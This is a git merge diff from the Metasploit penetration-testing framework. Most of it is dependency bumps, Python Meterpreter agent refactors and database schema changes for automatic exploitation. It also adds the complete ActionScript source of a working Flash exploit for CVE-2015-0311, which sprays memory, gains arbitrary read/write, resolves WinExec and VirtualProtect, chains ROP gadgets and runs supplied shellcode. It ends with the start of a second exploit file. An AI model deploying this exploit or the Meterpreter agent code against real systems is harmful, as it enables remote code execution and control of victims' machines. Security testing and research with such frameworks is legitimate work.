Merge branch 'staging/single-vuln-push' into feature/MSP-11934/refactor-report-exploit-success

bug/bundler_fix
James Lee 2015-03-26 09:54:29 -05:00
commit dd5c69ff34
No known key found for this signature in database
GPG Key ID: 2D6094C7CEA0A321
447 changed files with 16473 additions and 3193 deletions

12
.gitignore vendored
View File

@ -67,17 +67,7 @@ external/source/exploits/**/Release
# Avoid checking in Meterpreter binaries. These are supplied upstream by
# the meterpreter_bins gem.
data/meterpreter/elevator.*.dll
data/meterpreter/ext_server_espia.*.dll
data/meterpreter/ext_server_extapi.*.dll
data/meterpreter/ext_server_incognito.*.dll
data/meterpreter/ext_server_kiwi.*.dll
data/meterpreter/ext_server_lanattacks.*.dll
data/meterpreter/ext_server_mimikatz.*.dll
data/meterpreter/ext_server_priv.*.dll
data/meterpreter/ext_server_stdapi.*.dll
data/meterpreter/metsrv.*.dll
data/meterpreter/screenshot.*.dll
data/meterpreter/*.dll
# Avoid checking in Meterpreter libs that are built from
# private source. If you're interested in this functionality,

View File

@ -13,11 +13,6 @@ jhart-r7 <jhart-r7@github> Jon Hart <jon_hart@rapid7.com>
jlee-r7 <jlee-r7@github> egypt <egypt@metasploit.com> # aka egypt
jlee-r7 <jlee-r7@github> James Lee <egypt@metasploit.com> # aka egypt
jlee-r7 <jlee-r7@github> James Lee <James_Lee@rapid7.com>
joev-r7 <joev-r7@github> Joe Vennix <Joe_Vennix@rapid7.com>
joev-r7 <joev-r7@github> Joe Vennix <joev@metasploit.com>
joev-r7 <joev-r7@github> joev <joev@metasploit.com>
joev-r7 <joev-r7@github> jvennix-r7 <Joe_Vennix@rapid7.com>
joev-r7 <joev-r7@github> jvennix-r7 <joev@metasploit.com>
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan.vazquez@metasploit.com>
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan_vazquez@rapid7.com>
kgray-r7 <kgray-r7@github> Kyle Gray <kyle_gray@rapid7.com>
@ -80,9 +75,15 @@ jcran <jcran@github> Jonathan Cran <jcran@0x0e.org>
jcran <jcran@github> Jonathan Cran <jcran@rapid7.com>
jduck <jduck@github> Joshua Drake <github.jdrake@qoop.org>
jgor <jgor@github> jgor <jgor@indiecom.org>
joevennix <joevennix@github> joe <joev@metasploit.com>
joevennix <joevennix@github> Joe Vennix <Joe_Vennix@rapid7.com>
joevennix <joevennix@github> Joe Vennix <joev@metasploit.com>
joevennix <joevennix@github> joev <joev@metasploit.com>
joevennix <joevennix@github> jvennix-r7 <Joe_Vennix@rapid7.com>
joevennix <joevennix@github> jvennix-r7 <joev@metasploit.com>
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@kernelsmith.com>
kernelsmith <kernelsmith@github> kernelsmith <kernelsmith@kernelsmith>
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@metasploit.com>
kernelsmith <kernelsmith@github> kernelsmith <kernelsmith@kernelsmith>
kost <kost@github> Vlatko Kosturjak <kost@linux.hr>
kris <kris@???> kris <>
m-1-k-3 <m-1-k-3@github> m-1-k-3 <github@s3cur1ty.de>

View File

@ -3,7 +3,7 @@ source 'https://rubygems.org'
# spec.add_runtime_dependency '<name>', [<version requirements>]
gemspec name: 'metasploit-framework'
gem 'metasploit_data_models', git: 'https://github.com/rapid7/metasploit_data_models.git', branch: 'feature/MSP-11925/move-automatic-expoitation-factories'
gem 'metasploit_data_models', git: 'https://github.com/rapid7/metasploit_data_models.git', branch: 'staging/single-vuln-push'
# separate from test as simplecov is not run on travis-ci
group :coverage do

View File

@ -1,9 +1,9 @@
GIT
remote: https://github.com/rapid7/metasploit_data_models.git
revision: a077ac0b6e5d939da9e1b8f017bd3780aac07ef9
branch: feature/MSP-11925/move-automatic-expoitation-factories
revision: 6835d9cf61ad998db4184405ab21a92ef92caaa5
branch: staging/single-vuln-push
specs:
metasploit_data_models (0.23.2.pre.move.pre.automatic.pre.expoitation.pre.factories)
metasploit_data_models (0.23.2.pre.single.pre.vuln.pre.push)
activerecord (>= 3.2.13, < 4.0.0)
activesupport
arel-helpers
@ -24,7 +24,7 @@ PATH
json
metasploit-concern (~> 0.3.0)
metasploit-model (~> 0.29.0)
meterpreter_bins (= 0.0.14)
meterpreter_bins (= 0.0.17)
msgpack
nokogiri
packetfu (= 1.1.9)
@ -37,7 +37,7 @@ PATH
tzinfo
metasploit-framework-db (4.11.0.pre.dev)
activerecord (>= 3.2.21, < 4.0.0)
metasploit-credential (~> 0.14.0)
metasploit-credential (~> 0.14.3)
metasploit-framework (= 4.11.0.pre.dev)
metasploit_data_models (~> 0.23.0)
pg (>= 0.11)
@ -127,7 +127,7 @@ GEM
metasploit-concern (0.3.0)
activesupport (~> 3.0, >= 3.0.0)
railties (< 4.0.0)
metasploit-credential (0.14.0)
metasploit-credential (0.14.3)
metasploit-concern (~> 0.3.0)
metasploit-model (~> 0.29.0)
metasploit_data_models (~> 0.23.0)
@ -138,7 +138,7 @@ GEM
metasploit-model (0.29.0)
activesupport
railties (< 4.0.0)
meterpreter_bins (0.0.14)
meterpreter_bins (0.0.17)
method_source (0.8.2)
mime-types (1.25.1)
mini_portile (0.6.1)
@ -205,7 +205,7 @@ GEM
rspec-core (~> 2.99.0)
rspec-expectations (~> 2.99.0)
rspec-mocks (~> 2.99.0)
rubyntlm (0.4.0)
rubyntlm (0.5.0)
rubyzip (1.1.7)
shoulda-matchers (2.6.2)
simplecov (0.5.4)

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -11,7 +11,6 @@
require 'rubygems' # install rubygems
require 'hpricot' # gem install hpricot
require 'open-uri'
require 'timeout'
def usage

View File

@ -11,7 +11,7 @@
require 'rubygems' # install rubygems
require 'hpricot' # gem install hpricot
require 'open-uri'
require 'uri'
require 'timeout'
def usage
@ -26,17 +26,17 @@ File.readlines(sitelist).each do |site|
site.strip!
next if site.length == 0
next if site =~ /^#/
out = File.join(output, site + ".txt")
File.unlink(out) if File.exists?(out)
fd = File.open(out, "a")
["", "www."].each do |prefix|
begin
Timeout.timeout(10) do
doc = Hpricot(open("http://#{prefix}#{site}/"))
Timeout.timeout(10) do
doc = Hpricot(URI.parse("http://#{prefix}#{site}/").open)
doc.search("//form").each do |form|
# Extract the form
@ -78,9 +78,9 @@ File.readlines(sitelist).each do |site|
$stderr.puts "#{prefix}#{site} #{e.class} #{e}"
end
end
fd.close
File.unlink(out) if (File.size(out) == 0)
end

View File

@ -59,6 +59,7 @@ if sys.version_info[0] < 3:
is_bytes = lambda obj: issubclass(obj.__class__, str)
bytes = lambda *args: str(*args[:1])
NULL_BYTE = '\x00'
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x)
else:
if isinstance(__builtins__, dict):
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
@ -69,6 +70,7 @@ else:
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
NULL_BYTE = bytes('\x00', 'UTF-8')
long = int
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x)
if has_ctypes:
#
@ -530,7 +532,7 @@ def get_stat_buffer(path):
if hasattr(si, 'st_blocks'):
blocks = si.st_blocks
st_buf = struct.pack('<IHHH', si.st_dev, min(0xffff, si.st_ino), si.st_mode, si.st_nlink)
st_buf += struct.pack('<HHHI', si.st_uid, si.st_gid, 0, rdev)
st_buf += struct.pack('<HHHI', si.st_uid & 0xffff, si.st_gid & 0xffff, 0, rdev)
st_buf += struct.pack('<IIII', si.st_size, long(si.st_atime), long(si.st_mtime), long(si.st_ctime))
st_buf += struct.pack('<II', blksize, blocks)
return st_buf
@ -630,7 +632,7 @@ def channel_open_stdapi_fs_file(request, response):
fmode = fmode.replace('bb', 'b')
else:
fmode = 'rb'
file_h = open(fpath, fmode)
file_h = open(unicode(fpath), fmode)
channel_id = meterpreter.add_channel(MeterpreterFile(file_h))
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
return ERROR_SUCCESS, response
@ -923,18 +925,19 @@ def stdapi_sys_process_get_processes(request, response):
@meterpreter.register_function
def stdapi_fs_chdir(request, response):
wd = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
os.chdir(wd)
os.chdir(unicode(wd))
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_delete(request, response):
file_path = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
os.unlink(file_path)
os.unlink(unicode(file_path))
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_delete_dir(request, response):
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
dir_path = unicode(dir_path)
if os.path.islink(dir_path):
del_func = os.unlink
else:
@ -945,7 +948,7 @@ def stdapi_fs_delete_dir(request, response):
@meterpreter.register_function
def stdapi_fs_delete_file(request, response):
file_path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
os.unlink(file_path)
os.unlink(unicode(file_path))
return ERROR_SUCCESS, response
@meterpreter.register_function
@ -971,25 +974,29 @@ def stdapi_fs_file_expand_path(request, response):
def stdapi_fs_file_move(request, response):
oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
os.rename(oldname, newname)
os.rename(unicode(oldname), unicode(newname))
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_getwd(request, response):
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, os.getcwd())
if hasattr(os, 'getcwdu'):
wd = os.getcwdu()
else:
wd = os.getcwd()
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, wd)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_ls(request, response):
path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
path = os.path.abspath(path)
contents = os.listdir(path)
contents.sort()
for x in contents:
y = os.path.join(path, x)
response += tlv_pack(TLV_TYPE_FILE_NAME, x)
response += tlv_pack(TLV_TYPE_FILE_PATH, y)
response += tlv_pack(TLV_TYPE_STAT_BUF, get_stat_buffer(y))
path = os.path.abspath(unicode(path))
dir_contents = os.listdir(path)
dir_contents.sort()
for file_name in dir_contents:
file_path = os.path.join(path, file_name)
response += tlv_pack(TLV_TYPE_FILE_NAME, file_name)
response += tlv_pack(TLV_TYPE_FILE_PATH, file_path)
response += tlv_pack(TLV_TYPE_STAT_BUF, get_stat_buffer(file_path))
return ERROR_SUCCESS, response
@meterpreter.register_function
@ -1008,6 +1015,7 @@ def stdapi_fs_md5(request, response):
@meterpreter.register_function
def stdapi_fs_mkdir(request, response):
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
dir_path = unicode(dir_path)
if not os.path.isdir(dir_path):
os.mkdir(dir_path)
return ERROR_SUCCESS, response
@ -1016,6 +1024,7 @@ def stdapi_fs_mkdir(request, response):
def stdapi_fs_search(request, response):
search_root = packet_get_tlv(request, TLV_TYPE_SEARCH_ROOT).get('value', '.')
search_root = ('' or '.') # sometimes it's an empty string
search_root = unicode(search_root)
glob = packet_get_tlv(request, TLV_TYPE_SEARCH_GLOB)['value']
recurse = packet_get_tlv(request, TLV_TYPE_SEARCH_RECURSE)['value']
if recurse:
@ -1056,7 +1065,7 @@ def stdapi_fs_sha1(request, response):
@meterpreter.register_function
def stdapi_fs_stat(request, response):
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
st_buf = get_stat_buffer(path)
st_buf = get_stat_buffer(unicode(path))
response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf)
return ERROR_SUCCESS, response
@ -1334,10 +1343,12 @@ def stdapi_net_socket_tcp_shutdown(request, response):
channel.shutdown(how)
return ERROR_SUCCESS, response
def _wreg_close_key(hkey):
ctypes.windll.advapi32.RegCloseKey(hkey)
@meterpreter.register_function_windll
def stdapi_registry_close_key(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
result = ctypes.windll.advapi32.RegCloseKey(hkey)
_wreg_close_key(packet_get_tlv(request, TLV_TYPE_HKEY)['value'])
return ERROR_SUCCESS, response
@meterpreter.register_function_windll
@ -1372,11 +1383,9 @@ def stdapi_registry_delete_value(request, response):
result = ctypes.windll.advapi32.RegDeleteValueA(root_key, ctypes.byref(value_name))
return result, response
@meterpreter.register_function_windll
def stdapi_registry_enum_key(request, response):
def _wreg_enum_key(request, response, hkey):
ERROR_MORE_DATA = 0xea
ERROR_NO_MORE_ITEMS = 0x0103
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
name = (ctypes.c_char * 4096)()
index = 0
tries = 0
@ -1399,10 +1408,22 @@ def stdapi_registry_enum_key(request, response):
return result, response
@meterpreter.register_function_windll
def stdapi_registry_enum_value(request, response):
def stdapi_registry_enum_key(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
return _wreg_enum_key(request, response, hkey)
@meterpreter.register_function_windll
def stdapi_registry_enum_key_direct(request, response):
err, hkey = _wreg_open_key(request)
if err != ERROR_SUCCESS:
return err, response
ret = _wreg_enum_key(request, response, hkey)
_wreg_close_key(hkey)
return ret
def _wreg_enum_value(request, response, hkey):
ERROR_MORE_DATA = 0xea
ERROR_NO_MORE_ITEMS = 0x0103
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
name = (ctypes.c_char * 4096)()
name_sz = ctypes.c_uint32()
index = 0
@ -1426,6 +1447,20 @@ def stdapi_registry_enum_value(request, response):
index += 1
return result, response
@meterpreter.register_function_windll
def stdapi_registry_enum_value(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
return _wreg_enum_value(request, response, hkey)
@meterpreter.register_function_windll
def stdapi_registry_enum_value_direct(request, response):
err, hkey = _wreg_open_key(request)
if err != ERROR_SUCCESS:
return err, response
ret = _wreg_enum_value(request, response, hkey)
_wreg_close_key(hkey)
return ret
@meterpreter.register_function_windll
def stdapi_registry_load_key(request, response):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)
@ -1434,16 +1469,22 @@ def stdapi_registry_load_key(request, response):
result = ctypes.windll.advapi32.RegLoadKeyA(root_key, sub_key, file_name)
return result, response
@meterpreter.register_function_windll
def stdapi_registry_open_key(request, response):
def _wreg_open_key(request):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
handle_id = ctypes.c_void_p()
if ctypes.windll.advapi32.RegOpenKeyExA(root_key, ctypes.byref(base_key), 0, permission, ctypes.byref(handle_id)) != ERROR_SUCCESS:
return error_result_windows(), response
response += tlv_pack(TLV_TYPE_HKEY, handle_id.value)
return error_result_windows(), 0
return ERROR_SUCCESS, handle_id.value
@meterpreter.register_function_windll
def stdapi_registry_open_key(request, response):
err, hkey = _wreg_open_key(request)
if err != ERROR_SUCCESS:
return err, response
response += tlv_pack(TLV_TYPE_HKEY, hkey)
return ERROR_SUCCESS, response
@meterpreter.register_function_windll
@ -1467,9 +1508,7 @@ def stdapi_registry_query_class(request, response):
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data))
return ERROR_SUCCESS, response
@meterpreter.register_function_windll
def stdapi_registry_query_value(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
def _query_value(request, response, hkey):
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
value_type = ctypes.c_uint32()
@ -1496,8 +1535,20 @@ def stdapi_registry_query_value(request, response):
return error_result_windows(), response
@meterpreter.register_function_windll
def stdapi_registry_set_value(request, response):
def stdapi_registry_query_value(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
return _query_value(request, response, hkey)
@meterpreter.register_function_windll
def stdapi_registry_query_value_direct(request, response):
err, hkey = _wreg_open_key(request)
if err != ERROR_SUCCESS:
return err, response
ret = _query_value(request, response, hkey)
_wreg_close_key(hkey)
return ret
def _set_value(request, response, hkey):
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value']
@ -1505,6 +1556,20 @@ def stdapi_registry_set_value(request, response):
result = ctypes.windll.advapi32.RegSetValueExA(hkey, ctypes.byref(value_name), 0, value_type, value_data, len(value_data))
return result, response
@meterpreter.register_function_windll
def stdapi_registry_set_value(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
return _set_value(request, response, hkey)
@meterpreter.register_function_windll
def stdapi_registry_set_value_direct(request, response):
err, hkey = _wreg_open_key(request)
if err != ERROR_SUCCESS:
return err, response
ret = _set_value(request, response, hkey)
_wreg_close_key(hkey)
return ret
@meterpreter.register_function_windll
def stdapi_registry_unload_key(request, response):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']

View File

@ -41,6 +41,7 @@ if sys.version_info[0] < 3:
is_bytes = lambda obj: issubclass(obj.__class__, str)
bytes = lambda *args: str(*args[:1])
NULL_BYTE = '\x00'
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x)
else:
if isinstance(__builtins__, dict):
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
@ -51,6 +52,7 @@ else:
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
NULL_BYTE = bytes('\x00', 'UTF-8')
long = int
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x)
#
# Constants
@ -262,7 +264,9 @@ def tlv_pack(*args):
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8')
else:
value = tlv['value']
if not is_bytes(value):
if sys.version_info[0] < 3 and isinstance(value, __builtins__['unicode']):
value = value.encode('UTF-8')
elif not is_bytes(value):
value = bytes(value, 'UTF-8')
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE

View File

@ -11,7 +11,7 @@
#
# It's strongly recommended to check this file into your version control system.
ActiveRecord::Schema.define(:version => 20150212214222) do
ActiveRecord::Schema.define(:version => 20150312155312) do
create_table "api_keys", :force => true do |t|
t.text "token"
@ -19,6 +19,47 @@ ActiveRecord::Schema.define(:version => 20150212214222) do
t.datetime "updated_at", :null => false
end
create_table "automatic_exploitation_match_results", :force => true do |t|
t.integer "match_id"
t.integer "run_id"
t.string "state", :null => false
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
create_table "automatic_exploitation_match_sets", :force => true do |t|
t.integer "workspace_id"
t.integer "user_id"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
add_index "automatic_exploitation_match_sets", ["user_id"], :name => "index_automatic_exploitation_match_sets_on_user_id"
add_index "automatic_exploitation_match_sets", ["workspace_id"], :name => "index_automatic_exploitation_match_sets_on_workspace_id"
create_table "automatic_exploitation_matches", :force => true do |t|
t.integer "module_detail_id"
t.string "state"
t.integer "nexpose_data_vulnerability_definition_id"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
t.integer "match_set_id"
t.string "matchable_type"
t.integer "matchable_id"
t.text "module_fullname"
end
add_index "automatic_exploitation_matches", ["module_detail_id"], :name => "index_automatic_exploitation_matches_on_ref_id"
add_index "automatic_exploitation_matches", ["module_fullname"], :name => "index_automatic_exploitation_matches_on_module_fullname"
create_table "automatic_exploitation_runs", :force => true do |t|
t.integer "workspace_id"
t.integer "user_id"
t.integer "match_set_id"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
create_table "clients", :force => true do |t|
t.integer "host_id"
t.datetime "created_at"
@ -155,19 +196,22 @@ ActiveRecord::Schema.define(:version => 20150212214222) do
end
create_table "loots", :force => true do |t|
t.integer "workspace_id", :default => 1, :null => false
t.integer "workspace_id", :default => 1, :null => false
t.integer "host_id"
t.integer "service_id"
t.string "ltype", :limit => 512
t.string "path", :limit => 1024
t.string "ltype", :limit => 512
t.string "path", :limit => 1024
t.text "data"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
t.string "content_type"
t.text "name"
t.text "info"
t.integer "module_run_id"
end
add_index "loots", ["module_run_id"], :name => "index_loots_on_module_run_id"
create_table "macros", :force => true do |t|
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
@ -359,6 +403,24 @@ ActiveRecord::Schema.define(:version => 20150212214222) do
add_index "module_refs", ["detail_id"], :name => "index_module_refs_on_module_detail_id"
add_index "module_refs", ["name"], :name => "index_module_refs_on_name"
create_table "module_runs", :force => true do |t|
t.datetime "attempted_at"
t.text "fail_detail"
t.string "fail_reason"
t.integer "module_detail_id"
t.text "module_full_name"
t.integer "port"
t.string "proto"
t.integer "session_id"
t.string "status"
t.integer "trackable_id"
t.string "trackable_type"
t.integer "user_id"
t.string "username"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
create_table "module_targets", :force => true do |t|
t.integer "detail_id"
t.integer "index"
@ -393,9 +455,11 @@ ActiveRecord::Schema.define(:version => 20150212214222) do
t.boolean "critical"
t.boolean "seen"
t.text "data"
t.integer "vuln_id"
end
add_index "notes", ["ntype"], :name => "index_notes_on_ntype"
add_index "notes", ["vuln_id"], :name => "index_notes_on_vuln_id"
create_table "profiles", :force => true do |t|
t.datetime "created_at", :null => false
@ -479,13 +543,16 @@ ActiveRecord::Schema.define(:version => 20150212214222) do
t.integer "port"
t.string "platform"
t.text "datastore"
t.datetime "opened_at", :null => false
t.datetime "opened_at", :null => false
t.datetime "closed_at"
t.string "close_reason"
t.integer "local_id"
t.datetime "last_seen"
t.integer "module_run_id"
end
add_index "sessions", ["module_run_id"], :name => "index_sessions_on_module_run_id"
create_table "tags", :force => true do |t|
t.integer "user_id"
t.string "name", :limit => 1024

242
external/source/exploits/CVE-2015-0311/Main.as vendored Executable file
View File

@ -0,0 +1,242 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Be support to support 16.0 as target-player (flex-config.xml).
// 3. Download the Flex SDK (4.6)
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// 5. Build with: mxmlc -o msf.swf Main.as
// Original code by @hdarwin89 // http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/
// Modified to be used from msf
package
{
import flash.display.Sprite;
import flash.display.LoaderInfo;
import flash.system.ApplicationDomain;
import flash.utils.ByteArray;
import avm2.intrinsics.memory.casi32;
import flash.external.ExternalInterface;
import mx.utils.Base64Decoder;
public class Main extends Sprite
{
private var data:uint = 0xdeaddead
private var uv:Vector.<Object> = new Vector.<Object>
private var ba:ByteArray = new ByteArray()
private var spray:Vector.<Object> = new Vector.<Object>(51200)
private var b64:Base64Decoder = new Base64Decoder();
private var payload:String = "";
/*public static function log(msg:String):void{
var str:String = "";
str += msg;
trace(str);
if(ExternalInterface.available){
ExternalInterface.call("alert", str);
}
}*/
public function Main()
{
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
payload = b64.toByteArray().toString();
for (var i:uint = 0; i < 1000; i++) ba.writeUnsignedInt(data++)
ba.compress()
ApplicationDomain.currentDomain.domainMemory = ba
ba.position = 0x200
for (i = 0; i < ba.length - ba.position; i++) ba.writeByte(00)
try {
ba.uncompress()
} catch (e:Error) { }
uv[0] = new Vector.<uint>(0x3E0)
casi32(0, 0x3e0, 0xffffffff)
for (i = 0; i < spray.length; i++) {
spray[i] = new Vector.<Object>(1014)
spray[i][0] = ba
spray[i][1] = this
}
/*
0:008> dd 5ca4000
05ca4000 ffffffff 05042000 05ca4000 00000000
05ca4010 00000000 00000000 00000000 00000000
05ca4020 00000000 00000000 00000000 00000000
05ca4030 00000000 00000000 00000000 00000000
05ca4040 00000000 00000000 00000000 00000000
05ca4050 00000000 00000000 00000000 00000000
05ca4060 00000000 00000000 00000000 00000000
05ca4070 00000000 00000000 00000000 00000000
*/
uv[0][0] = uv[0][0x2000003] - 0x18 - 0x2000000 * 4
//log("uv[0][0]: " + uv[0][0].toString(16));
ba.endian = "littleEndian"
ba.length = 0x500000
var buffer:uint = vector_read(vector_read(uv[0][0x2000008] - 1 + 0x40) + 8) + 0x100000
//log("buffer: " + buffer.toString(16));
var main:uint = uv[0][0x2000009] - 1
//log("main: " + main.toString(16));
var vtable:uint = vector_read(main)
//log("vtable: " + vtable.toString(16));
vector_write(vector_read(uv[0][0x2000008] - 1 + 0x40) + 8)
vector_write(vector_read(uv[0][0x2000008] - 1 + 0x40) + 16, 0xffffffff)
byte_write(uv[0][0])
var flash:uint = base(vtable)
//log("flash: " + flash.toString(16));
// Because of the sandbox, when you try to solve kernel32
// from the flash imports on IE, it will solve ieshims.dll
var ieshims:uint = module("kernel32.dll", flash)
//log("ieshims: " + ieshims.toString(16));
var kernel32:uint = module("kernel32.dll", ieshims)
//log("kernel32: " + kernel32.toString(16));
var ntdll:uint = module("ntdll.dll", kernel32)
//log("ntdll: " + ntdll.toString(16));
var urlmon:uint = module("urlmon.dll", flash)
//log("urlmon: " + urlmon.toString(16));
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
//log("virtualprotect: " + virtualprotect.toString(16));
var winexec:uint = procedure("WinExec", kernel32)
//log("winexec: " + winexec.toString(16));
var urldownloadtofile:uint = procedure("URLDownloadToFileA", urlmon);
//log("urldownloadtofile: " + urldownloadtofile.toString(16));
var getenvironmentvariable:uint = procedure("GetEnvironmentVariableA", kernel32)
//log("getenvironmentvariable: " + getenvironmentvariable.toString(16));
var setcurrentdirectory:uint = procedure("SetCurrentDirectoryA", kernel32)
//log("setcurrentdirectory: " + setcurrentdirectory.toString(16));
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
//log("xchgeaxespret: " + xchgeaxespret.toString(16));
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
//log("xchgeaxesiret: " + xchgeaxesiret.toString(16));
// CoE
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
byte_write(0, "\x89\x03", false) // mov [ebx], eax
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
byte_write(buffer+0x200, payload);
byte_write(buffer + 0x20070, xchgeaxespret)
byte_write(buffer + 0x20000, xchgeaxesiret)
byte_write(0, virtualprotect)
// VirtualProtect
byte_write(0, winexec)
byte_write(0, buffer + 0x30000)
byte_write(0, 0x1000)
byte_write(0, 0x40)
byte_write(0, buffer + 0x100)
// WinExec
byte_write(0, buffer + 0x30000)
byte_write(0, buffer + 0x200)
byte_write(0)
byte_write(main, buffer + 0x20000)
toString()
}
private function vector_write(addr:uint, value:uint = 0):void
{
addr > uv[0][0] ? uv[0][(addr - uv[0][0]) / 4 - 2] = value : uv[0][0xffffffff - (uv[0][0] - addr) / 4 - 1] = value
}
private function vector_read(addr:uint):uint
{
return addr > uv[0][0] ? uv[0][(addr - uv[0][0]) / 4 - 2] : uv[0][0xffffffff - (uv[0][0] - addr) / 4 - 1]
}
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) ba.position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else ba.writeUnsignedInt(value)
}
private function byte_read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
private function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (byte_read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
private function module(name:String, addr:uint):uint
{
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
var i:int = -1
while (true) {
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
ba.position = addr + entry
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
if (dll_name == name.toUpperCase()) {
break;
}
}
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
}
private function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
var numberOfNames:uint = byte_read(eat + 0x18)
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
var addressOfNames:uint = addr + byte_read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
for (var i:uint = 0; ; i++) {
var entry:uint = byte_read(addressOfNames + i * 4)
ba.position = addr + entry
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
}
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
}
private function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
return addr + i
}
}
}

View File

@ -0,0 +1,704 @@
package
{
/*
To compile (AIRSDK + Flex):
mxmlc Main.as -o Main.swf -strict=false
*/
import mx.utils.Base64Decoder;
import flash.display.*;
import flash.utils.ByteArray;
import flash.external.ExternalInterface;
import mx.utils.Base64Decoder;
public class Main extends Sprite
{
private var i:int;
private var j:int;
private const OP_END:int = 0;
private const OP_ANY:int = 12;
